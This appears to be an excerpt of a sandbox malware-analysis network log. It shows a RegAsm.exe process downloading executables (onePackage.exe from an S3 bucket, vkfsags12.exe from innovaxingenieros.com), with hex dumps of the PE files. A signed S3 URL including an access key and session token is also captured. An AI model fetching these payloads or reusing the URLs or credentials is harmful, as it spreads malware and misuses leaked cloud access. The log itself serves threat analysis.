2024-09-18 12:30:10 UTC	1317	OUT	GET /479ceab5-a71c-45e3-a6d6-d89e76e092ed/downloads/d060d296-4b38-4a9e-8201-025e61d8b6d1/onePackage.exe?response-content-disposition=attachment%3B%20filename%3D%22onePackage.exe%22&AWSAccessKeyId=ASIA6KOSE3BNE5X4LFVM&Signature=Q8Wtug9Aoy2W0E60VQqgPsf%2FzEA%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEA0aCXVzLWVhc3QtMSJGMEQCIG87vLJo2fJHJhS8HGlCYcyfqckkq7Y2ObwznLY%2FPmnfAiBa8RP5sUG0MnqSJkH24BsunR%2Fo%2Ffp75%2FHKNXGc678ZJyqnAghFEAAaDDk4NDUyNTEwMTE0NiIMXOe2oo5u4hWGZA4%2FKoQC96hnemE4mdMmFpvuMWICMbMMOwFL2zUyUf%2BuoGMkCXxJ6Gk8sQ%2Bc0kDmCYy63DyJz1lTQF95kHTDxAVXxG%2Be388nPJph5a1ln1450KI0RPaiMOZBHuJBtloAYRGKJgEf7RHNTYS0m5brimjD%2BziLO57Py3BoRRMIAEShxX0KS8RIAZ7IC75%2FIGi8Zzor6nXxDwbwMqVBhpVCjK9V2e2G4iBXISJkpERRUxAaVbF%2FV87zwR9IbmvRx6i8kFflzQuyA2cmQ30F4p1RxRfxb1dXvklqHbNhzemShmXz0YrS8dUvVOwKzUkpcZUEhTEzJw4WAU4bK3FjAFn%2BTn2%2F1XVu1HRakLgwl4qrtwY6ngEIGUfj7MYrSj2mLGwwSNX0WBs%2B25sbWaEc5%2FQOWUSQnBytbq4g3yIoGu79twLl4YhKYXeOmqiwheffyEM2G01jRDXHrcacQxEAbnsQxvKRIpE8nvFU%2BGwFzXRYaXf3pzmh68ZmzOukQYC31Xsz2EeQ267JsEiwdXMmmi14MxgTlw2 [TRUNCATED] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-09-18 12:30:11 UTC	546	IN	HTTP/1.1 200 OK x-amz-id-2: QzkT5lWlcmhNyqk9O0BAUe2FEzU1qHItEOTwapkTAVRplIwxC3x0MLlL1yLXt3xMeqwH0IbQ8UM= x-amz-request-id: F5D2RYAF6XNTC4EA Date: Wed, 18 Sep 2024 12:30:11 GMT Last-Modified: Tue, 17 Sep 2024 21:56:03 GMT ETag: "5ae94a426c81b871e31f866a525eb197-2" x-amz-server-side-encryption: AES256 x-amz-version-id: kLEwhKYMkHUsumNSfx9ry1UWIfszLh0Z Content-Disposition: attachment; filename="onePackage.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 8732672 Connection: close
2024-09-18 12:30:11 UTC	1411	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 24 84 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 aa 3d 00 00 6e 05 00 00 00 00 00 40 32 07 00 00 10 00 00 00 d0 7c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 90 88 00 00 04 00 00 8e 0e 86 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$=n@2\|@@
2024-09-18 12:30:11 UTC	16384	IN	Data Raw: 04 0f b6 40 0f 83 e0 1f 88 44 24 08 c3 e8 db 00 07 00 eb d9 cc cc cc cc cc cc cc cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 76 57 83 ec 08 8b 44 24 0c 0f b7 48 04 66 85 c9 74 20 8b 68 08 0f b7 d1 01 e8 81 fa 00 00 01 00 77 2c 89 44 24 10 89 54 24 14 89 54 24 18 83 c4 08 c3 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 83 c4 08 c3 bb 00 00 01 00 e8 6a 15 07 00 90 e8 64 00 07 00 eb 92 cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 76 22 90 8b 44 24 04 0f b6 48 0f 83 e1 1f 80 f9 11 75 08 8b 40 28 89 44 24 08 c3 c7 44 24 08 00 00 00 00 c3 e8 29 00 07 00 eb c7 cc cc cc cc cc cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 76 5b 90 8b 44 24 04 0f b6 48 0f 83 e1 1f 80 f9 12 77 1a 80 f9 11 74 0d 80 f9 12 75 1f 8b 40 20 89 44 24 08 Data Ascii: @D$4d;avWD$Hft hw,D$T$T$D$D$D$jd4d;av"D$Hu@(D$D$)4d;av[D$Hwtu@ D$
2024-09-18 12:30:11 UTC	1024	IN	Data Raw: 8b 44 24 40 89 44 24 04 8b 44 24 44 89 44 24 08 e8 a8 00 00 00 8b 44 24 30 8b 48 18 c6 81 8c 00 00 00 01 e8 15 ea 03 00 8b 44 24 30 8b 48 18 0f b6 91 8d 00 00 00 84 d2 74 07 c6 81 8e 00 00 00 01 8b 48 18 8b 54 24 34 39 d1 75 40 89 0c 24 e8 a9 01 03 00 8b 44 24 28 8b 4c 24 2c 8b 54 24 24 89 14 24 89 44 24 04 89 4c 24 08 e8 ad ca 03 00 8b 44 24 30 8b 40 18 84 00 8d b8 d0 01 00 00 8d 74 24 0c e8 d9 db 06 00 83 c4 38 c3 8d 05 ae 02 8a 00 89 04 24 c7 44 24 04 26 00 00 00 e8 9b 6d 06 00 8d 05 60 7c 81 00 89 04 24 8d 05 b0 ce 93 00 89 44 24 04 e8 f3 69 06 00 90 cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 0f 86 22 02 00 00 83 ec 54 b8 00 00 00 00 89 44 24 4c 89 44 24 50 c6 44 24 23 00 8b 05 94 34 c3 00 64 8b 00 8b 00 89 44 24 30 8b 48 18 0f b6 89 94 00 00 00 Data Ascii: D$@D$D$DD$D$0HD$0HtHT$49u@$D$(L$,T$$$D$L$D$0@t$8$D$&m`\|$D$i4d;a"TD$LD$PD$#4dD$0H
2024-09-18 12:30:11 UTC	15360	IN	Data Raw: 8d 51 ff 90 8b 1d 94 34 c3 00 64 8b 1b 8b 1b 89 50 7c 83 f9 01 75 0f 0f b6 43 69 84 c0 74 07 c7 43 08 de fa ff ff 83 c4 0c c3 e8 be bc 06 00 e9 49 ff ff ff cc cc cc cc cc cc cc cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 0f 86 a3 01 00 00 83 ec 1c 8b 4c 24 20 8b 49 20 8b 01 3d 00 00 01 00 0f 83 75 01 00 00 80 79 0d 08 0f 87 55 01 00 00 8b 54 24 24 f7 e2 0f 80 31 01 00 00 83 f8 c7 0f 87 28 01 00 00 8b 54 24 24 85 d2 0f 8c 1c 01 00 00 89 4c 24 14 85 c0 0f 84 a1 00 00 00 8b 59 04 85 db 74 5d 89 44 24 10 8d 05 20 ad 86 00 89 04 24 e8 f5 6a 00 00 8b 44 24 04 89 44 24 18 8b 4c 24 10 89 0c 24 8b 4c 24 14 89 4c 24 04 c6 44 24 08 01 e8 74 19 06 00 8b 05 30 38 c3 00 8b 4c 24 0c 85 c0 75 06 8b 44 24 18 eb 11 e8 0b d0 06 00 89 0f 8b 44 24 18 8b 50 08 89 57 04 89 Data Ascii: Q4dP\|uCitCI4d;aL$ I =uyUT$$1(T$$L$Yt]D$ $jD$D$L$$L$L$D$t08L$uD$D$PW
2024-09-18 12:30:11 UTC	16384	IN	Data Raw: 00 8d 05 40 ee 84 00 89 04 24 e8 9e 2f 00 00 8b 44 24 04 c7 40 04 01 00 00 00 c7 40 08 01 00 00 00 8b 0d 30 38 c3 00 8d 50 1c 85 c9 75 06 8b 4c 24 64 eb 0e e8 c4 94 06 00 8b 4c 24 64 89 0f 89 57 04 89 44 24 60 89 08 c7 40 14 00 00 00 00 c7 40 18 02 00 00 00 89 50 10 8d 7c 24 68 31 c0 e8 1e 97 06 00 8b 4c 24 60 89 0c 24 e8 bd 92 04 00 8d 7c 24 68 8d 74 24 04 e8 b2 9b 06 00 8d 7c 24 34 8d 74 24 68 e8 a5 9b 06 00 8b 4c 24 34 8b 54 24 44 8b 5c 24 48 8b 6c 24 4c 89 8c 24 9c 00 00 00 89 94 24 a0 00 00 00 89 9c 24 a4 00 00 00 89 ac 24 a8 00 00 00 85 c9 0f 95 c1 88 8c 24 ac 00 00 00 81 c4 94 00 00 00 c3 c7 84 24 9c 00 00 00 00 00 00 00 c7 84 24 a0 00 00 00 00 00 00 00 c7 84 24 a4 00 00 00 00 00 00 00 c7 84 24 a8 00 00 00 00 00 00 00 c6 84 24 ac 00 00 00 00 81 c4 Data Ascii: @$/D$@@08PuL$dL$dWD$`@@P\|$h1L$`$\|$ht$\|$4t$hL$4T$D\$Hl$L$$$$$$$$$$
2024-09-18 12:30:11 UTC	1024	IN	Data Raw: 8b 48 18 84 01 8b 1d 30 38 c3 00 85 db 74 09 8b 19 e8 d7 54 06 00 89 1f c7 01 00 00 00 00 85 d2 74 64 8b 48 18 85 c9 75 3e 89 54 24 1c 8d 05 80 6a 84 00 89 04 24 e8 72 ef ff ff 8b 05 30 38 c3 00 8b 4c 24 04 85 c0 75 06 8b 44 24 28 eb 11 e8 a9 54 06 00 89 0f 8b 44 24 28 8b 50 18 89 57 04 89 48 18 8b 54 24 1c 8b 40 18 84 00 8b 0d 30 38 c3 00 85 c9 74 0d e8 82 54 06 00 89 17 8b 48 08 89 4f 04 89 50 08 83 c4 20 c3 8d 05 35 31 89 00 89 04 24 c7 44 24 04 16 00 00 00 e8 9d ed 05 00 90 e8 47 40 06 00 e9 42 fe ff ff cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 76 60 83 ec 0c 8b 44 24 14 0f b6 50 04 0f b6 58 05 f6 c2 08 75 01 4b 89 d9 ba 01 00 00 00 d3 e2 4a 8b 5c 24 18 21 d3 90 8b 54 24 10 89 14 24 89 44 24 04 89 5c 24 08 e8 36 00 00 00 8b 44 24 14 8b 50 10 85 Data Ascii: H08tTtdHu>T$j$r08L$uD$(TD$(PWHT$@08tTHOP 51$D$G@B4d;av`D$PXuKJ\$!T$$D$\$6D$P
2024-09-18 12:30:11 UTC	16384	IN	Data Raw: 00 00 00 00 8d 50 08 89 54 0c 38 8b 54 24 68 0f b6 5a 30 8d 44 d8 08 89 44 0c 3c 0f b6 44 24 13 8b 4c 24 50 8b 54 24 60 8b 5c 24 68 8b 6c 24 14 8b 74 24 24 8b 7c 24 5c 8b 7c 34 30 84 07 8b 6c 34 34 83 e5 07 88 04 2f 8b 6b 34 f7 c5 01 00 00 00 74 23 8b 6c 34 38 84 45 00 8b 3d 30 38 c3 00 85 ff 74 0d e8 94 50 06 00 89 0f 8b 45 00 89 47 04 89 4d 00 eb 27 8b 43 20 8b 4c 34 38 89 04 24 89 4c 24 04 8b 44 24 54 89 44 24 08 e8 ac cf 05 00 8b 54 24 60 8b 5c 24 68 8b 74 24 24 8b 6b 34 f7 c5 02 00 00 00 74 2f 8b 6c 34 3c 84 45 00 8b 3d 30 38 c3 00 89 d8 8b 5c 24 58 8b 0b 85 ff 74 11 e8 37 50 06 00 89 0f 8b 5d 00 89 5f 04 8b 5c 24 58 89 4d 00 eb 2b 8b 43 24 8b 4c 34 3c 89 04 24 89 4c 24 04 8b 44 24 58 89 44 24 08 e8 4b cf 05 00 8b 44 24 68 8b 54 24 60 8b 5c 24 58 8b Data Ascii: PT8T$hZ0DD<D$L$PT$`\$hl$t$$\|$\\|40l44/k4t#l48E=08tPEGM'C L48$L$D$TD$T$`\$ht$$k4t/l4<E=08\$Xt7P]_\$XM+C$L4<$L$D$XD$KD$hT$`\$X
2024-09-18 12:30:11 UTC	1024	IN	Data Raw: 83 f8 44 0f 83 7f 01 00 00 89 54 24 14 29 dd b9 00 00 00 00 83 d9 00 89 4c 24 18 8b 5c 24 04 84 03 8d 44 c3 48 89 04 24 89 54 24 04 89 4c 24 08 e8 98 5d 06 00 8d 05 40 73 c3 00 89 04 24 e8 1a fb 01 00 8b 44 24 20 8b 48 44 8b 44 24 14 f7 e1 8b 6c 24 18 0f af e9 8d 4c 15 00 8b 54 24 1c 8d 6a 01 89 6c 24 34 8d 35 c8 46 c3 00 89 34 24 89 44 24 04 89 4c 24 08 e8 51 5d 06 00 8b 44 24 34 8b 4c 24 20 39 41 34 74 20 0f b7 51 1a 0f b7 59 3c 29 da 0f b7 c2 8b 51 44 f7 e2 8b 74 24 28 29 c6 8b 6c 24 2c 19 d5 eb 08 8b 6c 24 2c 8b 74 24 28 89 74 24 28 89 6c 24 2c 8b 44 24 24 c1 e0 07 8d 1d b0 b4 c1 00 01 d8 89 04 24 89 4c 24 04 e8 39 06 00 00 8b 44 24 24 8d 0d e0 3a c1 00 8b 54 24 40 89 4c 82 14 8b 54 24 1c 89 c3 8b 6c 24 2c 8b 74 24 28 8b 44 24 40 e9 9b fe ff ff c7 40 Data Ascii: DT$)L$\$DH$T$L$]@s$D$ HDD$l$LT$jl$45F4$D$L$Q]D$4L$ 9A4t QY<)QDt$()l$,l$,t$(t$(l$,D$$$L$9D$$:T$@LT$l$,t$(D$@@
2024-09-18 12:30:11 UTC	16384	IN	Data Raw: 44 24 4c 89 04 24 e8 22 04 00 00 8b 44 24 04 85 c0 74 0b 8b 4c 24 18 85 c9 0f 95 c1 eb 0c c7 44 24 50 00 00 00 00 83 c4 48 c3 89 44 24 30 84 c9 75 53 0f b6 0d d0 51 c1 00 84 c9 75 06 31 c9 31 d2 eb 12 e8 75 bb 04 00 8b 04 24 8b 4c 24 04 89 c2 8b 44 24 30 85 c9 74 2c 89 54 24 3c 89 4c 24 10 89 14 24 89 4c 24 04 e8 e0 c4 04 00 8b 44 24 3c 89 04 24 8b 44 24 10 89 44 24 04 e8 6c bc 04 00 8b 44 24 30 0f b7 48 1a 0f b7 d1 0f b7 58 3c 39 d3 74 7b 0f b7 50 18 66 39 ca 74 72 89 04 24 83 e2 c0 66 c1 ea 03 66 89 54 24 04 e8 4c e6 ff ff 8b 44 24 30 8b 48 24 89 4c 24 38 8b 50 20 0f b7 58 18 83 e3 3f 89 cd 89 d9 d3 ea 89 ee d3 ed 8d 79 e0 89 f9 d3 ee f7 d9 8b 44 24 38 d3 e0 66 83 f9 20 19 c9 21 c8 66 83 ff 20 19 c9 21 f1 66 83 fb 20 19 db 21 dd 21 da 09 d0 09 c8 8b 4c Data Ascii: D$L$"D$tL$D$PHD$0uSQu11u$L$D$0t,T$<L$$L$D$<$D$D$lD$0HX<9t{Pf9tr$ffT$LD$0H$L$8P X?yD$8f !f !f !!L
2024-09-18 12:30:11 UTC	1024	IN	Data Raw: 8b 48 7c 8d 51 ff 90 8b 1d 94 34 c3 00 64 8b 1b 8b 1b 89 50 7c 83 f9 01 75 0f 0f b6 43 69 84 c0 74 07 c7 43 08 de fa ff ff 83 c4 1c c3 e8 bb b8 05 00 e9 76 fe ff ff cc cc cc cc cc cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 0f 86 91 00 00 00 83 ec 10 eb 43 8b 05 94 34 c3 00 64 8b 00 8b 00 8b 0d a4 3f c1 00 89 48 5c 90 89 05 a4 3f c1 00 90 8d 05 48 6c 8c 00 89 04 24 8d 0d a0 3f c1 00 89 4c 24 04 66 c7 44 24 08 19 0d c7 44 24 0c 01 00 00 00 e8 14 66 05 00 90 90 8d 05 a0 3f c1 00 89 04 24 e8 34 4e ff ff 90 8d 05 a8 3f c1 00 89 04 24 e8 75 17 06 00 8b 44 24 04 83 3d 3c 33 c3 00 01 74 01 40 8b 4c 24 14 39 c1 73 88 90 90 8d 05 a0 3f c1 00 89 04 24 e8 1f 50 ff ff 83 c4 10 c3 e8 06 b8 05 00 e9 51 ff ff ff cc 8b 0d 94 34 c3 00 64 8b 09 8b 09 3b 61 08 0f 86 50 01 Data Ascii: H\|Q4dP\|uCitCv4d;aC4d?H\?Hl$?L$fD$D$f?$4N?$uD$=<3t@L$9s?$PQ4d;aP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49723	167.114.163.236	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:11 UTC	210	OUT	GET /vkfsags12.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: innovaxingenieros.com Cache-Control: no-cache
2024-09-18 12:30:11 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:11 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:49 GMT Accept-Ranges: bytes Content-Length: 299936 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:30:11 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5a 73 ea 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 04 00 00 08 00 00 00 00 00 00 6e 58 04 00 00 20 00 00 00 60 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZsf:nX `@ `
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: d7 ef 5e 0b 4f d5 84 1a ce 02 2f 07 87 a4 22 4c 82 ac 92 11 0e fa 8f 26 e6 9e 8a 6b 81 17 3b 72 ae 23 ee 3c c3 49 38 04 d9 67 03 af 73 ad 61 7d 7b 13 40 a7 4e ae 4b c6 62 36 e1 4c fa 11 91 9f 7c a9 49 ff 54 08 7a f6 1f d3 81 ad b4 0e b1 84 e5 9c 77 42 63 70 ed 63 f7 93 51 db 61 7e ec 5d 5e 3a 9b 5c 4f 4e 37 fe 7d 51 87 fa 0e f7 60 b7 1e eb 1e 25 33 7f 04 ca 5d 58 79 8e c0 d3 a5 34 88 7d 1b 3d ca 93 d9 24 2e 39 e1 15 ed 7f 91 02 e9 35 c5 4d 6a 20 b6 a6 a7 42 e0 85 3b 74 02 03 91 cb 66 2f 6b 36 4e ab 32 71 cd fd 9b ec bb b2 95 3b 3f b2 fd 6b dd a3 22 d8 93 a2 c2 85 b0 e8 0a cb 0f 58 c3 25 3a 76 a6 00 71 5d 03 0f ef 7f 7a ff c1 dd 9b 8a 1d dc 82 f8 df 6f 91 58 a2 fb f1 c2 e3 e0 55 2d e5 13 0c 21 f8 f2 6f 1e 8c 78 b6 e0 cc ba f0 44 ed 47 23 12 dd 5a 85 34 8e Data Ascii: ^O/"L&k;r#<I8gsa}{@NKb6L\|ITzwBcpcQa~]^:\ON7}Q`%3]Xy4}=$.95Mj B;tf/k6N2q;?k"X%:vq]zoXU-!oxDG#Z4
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 8d e1 f5 d5 f1 75 c3 94 60 dc bb e5 2c 90 0c 75 0a c3 f9 e0 44 79 8a cb 8b 65 ae 72 94 b7 97 47 a0 50 26 77 74 f9 f1 9a 9e 7d 3b 2c a6 d4 13 84 f3 7f 82 9f fb 54 3d 2f ea 2b 05 a4 8b 97 a3 af ef d3 19 4b 39 0f 05 6b 5f 10 63 1d ac 1d c3 be 6f bd 64 21 3a bb 42 25 51 8a 35 2c 04 6c 86 a9 54 7e fc 34 92 89 ba 99 c5 a9 19 4e 14 87 c3 fe 8b 61 e3 7c bb 13 b1 0d 6c 79 56 7a 73 1a 74 9c 89 05 76 f5 66 8b 48 fc ea 18 4c 52 c1 a8 aa 6c d7 41 f7 bd f9 3f b5 af 28 6a 43 9e 3d 63 61 ba 2d 24 95 2a a0 df 41 a0 a9 17 ff c2 9f 93 3b 73 8a ee 69 6c 1b 27 e2 9f 59 a5 76 78 6b 46 b7 c5 c5 42 50 30 2f 92 26 c0 21 37 fc 34 4f db de a7 d8 89 3a d5 8c bd 71 b3 eb 4c 09 17 95 04 4d c0 89 a4 58 b3 85 e3 8a cd 94 16 33 b1 68 dd 01 83 ae e6 c3 43 6e a4 1e 4d e2 99 7c b8 86 d4 24 Data Ascii: u`,uDyerGP&wt};,T=/+K9k_cod!:B%Q5,lT~4Na\|lyVzstvfHLRlA?(jC=ca-$*A;sil'YvxkFBP0/&!74O:qLMX3hCnM\|$
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 9a c9 f7 9e c6 92 64 4c cb 54 e9 8b 6a cc 62 7f 10 82 22 7e 81 ac 17 82 2f 9a 1b 14 af 76 91 8d e9 60 c3 c5 83 42 b0 1e 7b bb b7 e7 1b ce ed 58 8c 91 2b 03 f9 4f 20 e9 fe 99 1a 53 f2 bd 58 90 12 0f a3 5b 88 8d 7e 8c fb cf 1a 21 96 f0 00 bf 13 99 72 ea a8 2d d2 de b6 05 41 7c cc 2b 7d 52 9a 53 81 36 24 07 e7 3c 7b 1d a2 f9 72 ee 58 ce a1 91 a0 bf 0e 50 cf 5b db df ee 12 bf b3 ee fb b2 b7 e2 6e 24 41 80 c5 e9 60 bb eb d2 be 68 23 5d 8a 8e 03 0a 39 dc 0c e4 60 ca 85 74 53 1f e8 8c 48 d2 5b 29 98 56 9f cb c1 ff bb 49 1b 35 2c d6 5c 47 37 d9 65 66 75 7e 3a bd 70 68 70 c9 da 8f df f1 80 98 dc a8 d6 52 d2 1d 88 ea 7a 6b 5c 48 3e b1 b8 1a 59 71 47 dc 29 1d c5 19 25 1c cc f0 2a 86 cf ca 8c 34 7c 56 40 1b 22 fd aa 6b 76 8f e5 e4 03 d7 03 7d f5 95 4d 4a fe 38 e1 84 Data Ascii: dLTjb"~/v`B{X+O SX[~!r-A\|+}RS6$<{rXP[n$A`h#]9`tSH[)VI5,\G7efu~:phpRzk\H>YqG)%*4\|V@"kv}MJ8
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: d3 ec 14 39 8a 07 cd 72 03 87 49 ec 33 7d ac dc a8 61 47 eb 81 a9 26 8f d4 1a 8a 3f d9 5f c3 72 2b 51 b4 0c ba 02 1e 12 49 87 2a 2e 76 9f 13 7b 0e f1 64 d9 b0 6e 1b ec fd f0 1a 4d d9 fe 99 e8 06 33 62 7a a8 1d 1a 11 62 61 aa 2a 6f 50 93 e2 1a 30 55 ff 0c 15 77 7d 47 8a e3 76 c3 e3 7f 2b 5f d9 2b 44 d9 ce 9a 6d 9f e5 fa 2b 3c 51 bd ac 7c 5e da 94 76 b6 46 86 82 fe 73 c5 0a 27 fb 9c 4f 1d 27 aa 1a eb cf 30 88 f1 02 75 39 a6 c3 ea 4e 97 39 63 e7 0a ef ae 9c 04 ae 16 6a 5c 29 14 68 b2 47 26 eb 77 48 ce 00 be 6e 02 41 63 92 95 42 81 9e f6 74 41 7d 2c 3a d5 e9 22 6e ab 38 5d 2c 9a 83 d9 9d 4c 1b d0 37 1c d6 90 8a 2e 70 82 91 b9 60 ba be c7 7a c8 db 8d d5 7a 57 01 64 bf ee f5 d6 51 b1 15 11 64 f2 b6 0d 78 3e f0 13 5c d6 21 be 1d f2 ed f8 88 f9 f6 50 f8 53 16 b0 Data Ascii: 9rI3}aG&?_r+QI.v{dnM3bzbaoP0Uw}Gv+_+Dm+<Q\|^vFs'O'0u9N9cj\)hG&wHnAcBtA},:"n8],L7.p`zzWdQdx>\!PS
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 30 ea ec d6 a0 d6 28 c8 34 6b 24 b0 a9 5f 99 bb 33 b3 9f 71 ec a1 92 51 5d c9 c1 00 66 ab cc 43 f3 e1 a0 2f 4f d8 ce 50 ac cd a6 38 eb 06 7d ec e4 56 c9 00 5a 5e ff 55 fb f4 53 be 67 2c 65 f9 32 30 b5 73 bc 0d 80 da 2f b7 66 ab a3 b4 fe ca 42 f0 55 4a ea 53 c2 0c 75 22 57 89 eb 4f c2 5a 7e 8b 76 bc 0d 68 31 7d aa 31 e5 26 2a 41 21 35 7a 15 fb 21 73 6b 95 4e 30 fb 03 31 ab c3 cf c1 b5 1d 94 b4 04 42 92 fc c9 d3 5d 52 97 26 0d 66 a8 e9 3f 93 bc 92 d3 f1 f6 e4 0e 55 3e 20 f5 b2 ab 7f 4b 35 eb ba 2b b5 43 51 72 2e 36 2e 65 5d 64 ac 5b 0d e5 cc 8a 9d e7 a2 6c 80 ab 03 fa c6 fb 1e fd 37 73 df b1 20 f9 cf ad 91 7a ef 38 dc 1a 24 50 af bd 0d cc 30 9f b5 df 79 d3 f0 0b 60 3b 4d c8 cc 3c f3 00 59 bd bb 2b 42 22 cf 79 ca 1f 41 bc fa d5 2c da 07 48 e4 3e 87 d5 e3 46 Data Ascii: 0(4k$_3qQ]fC/OP8}VZ^USg,e20s/fBUJSu"WOZ~vh1}1&*A!5z!skN01B]R&f?U> K5+CQr.6.e]d[l7s z8$P0y`;M<Y+B"yA,H>F
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 8a b6 1d ae 82 ac 7d a6 a0 da 74 99 9b 44 6b 3b f0 85 6e 87 0e 38 9b 34 d1 df 39 cf 8a 55 39 10 82 23 91 db 0c bf 50 93 e5 89 b7 42 e8 d9 fb 65 d5 e9 b4 72 ba fe e7 c1 bf 90 35 e9 c9 d8 d8 40 fa 63 a3 75 ea 8f 37 6b 3e d1 57 29 ce 93 34 03 35 13 85 f0 b8 ec d4 79 99 ee 4d 2d dc 31 33 68 37 60 b3 ce 20 e8 5e c0 32 d4 a1 3f 49 37 ea 7c 27 20 c8 97 62 13 b1 d7 4a 4f db c6 ab 7d e0 93 30 8d 5c 72 da f9 38 d0 75 71 aa 14 3b b5 62 73 62 bd 1d dd eb eb 34 47 1d b9 9f 39 44 26 fb bd 11 d6 38 e8 70 a9 8b d7 fb 3b 74 43 63 c0 aa da c7 76 8d 4a 0b a8 70 ae 55 ad 0f ef 8e 4c ac 1b 89 0e 0f 7f 70 ba 11 66 dc f4 c4 ed e0 ea 43 bf 28 f1 9b 2d 76 fa 6a 7d ac 33 fd a3 97 77 c2 f9 52 d3 b3 9d ac a8 d7 3e 95 0f ad cc 7b f1 4b cd 5e 15 d2 eb e6 46 fe ad fc 89 29 fc 68 06 fb Data Ascii: }tDk;n849U9#PBer5@cu7k>W)45yM-13h7` ^2?I7\|' bJO}0\r8uq;bsb4G9D&8p;tCcvJpULpfC(-vj}3wR>{K^F)h
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 75 e1 94 d9 cf 87 40 4d 4a e2 bf 45 ea ec dd 1a 51 e2 35 13 77 50 fa 58 46 43 10 db 5e 98 b1 b9 98 c1 8c d4 2f 90 2c 90 7c 6d 80 1d 80 be 53 96 5a df 9e 8c ac fa 41 d5 f6 fc be 04 6c bd 5f 21 eb 2d b4 1a f3 24 b2 10 58 e1 d6 94 32 62 e7 70 91 e4 c5 ff 74 f4 77 05 80 90 cd 9c 51 33 41 51 c4 ed e1 c9 7a 15 e9 49 5b 71 2c e0 3b e2 9b c0 ad bc 9a 62 94 63 08 4e 7e b9 4a 2f 3c d2 b1 a9 62 5a ea 5a 40 9a 73 7e 94 62 63 68 00 dc 66 d2 5d 6c 79 cd b4 5e 83 3a a7 80 ae 54 41 ef 67 15 fd 3b 2b c1 ec a9 9f 2d f3 19 90 6a 9f 12 90 f9 53 ff 83 00 82 65 dd aa 33 7e 1b f9 55 85 27 50 6a be b0 ee 0a e3 7e ca 66 66 12 60 e5 0b 92 fd e2 16 3d 0f 21 69 06 ed fd a0 aa 61 f8 a4 d6 31 4c 1b 29 12 21 a4 7c e7 31 c5 ab 22 90 df 32 a5 d4 80 9f 69 b1 db 4b a3 7e b1 a6 10 ee 2e f1 Data Ascii: u@MJEQ5wPXFC^/,\|mSZAl_!-$X2bptwQ3AQzI[q,;bcN~J/<bZZ@s~bchf]ly^:TAg;+-jSe3~U'Pj~ff`=!ia1L)!\|1"2iK~.
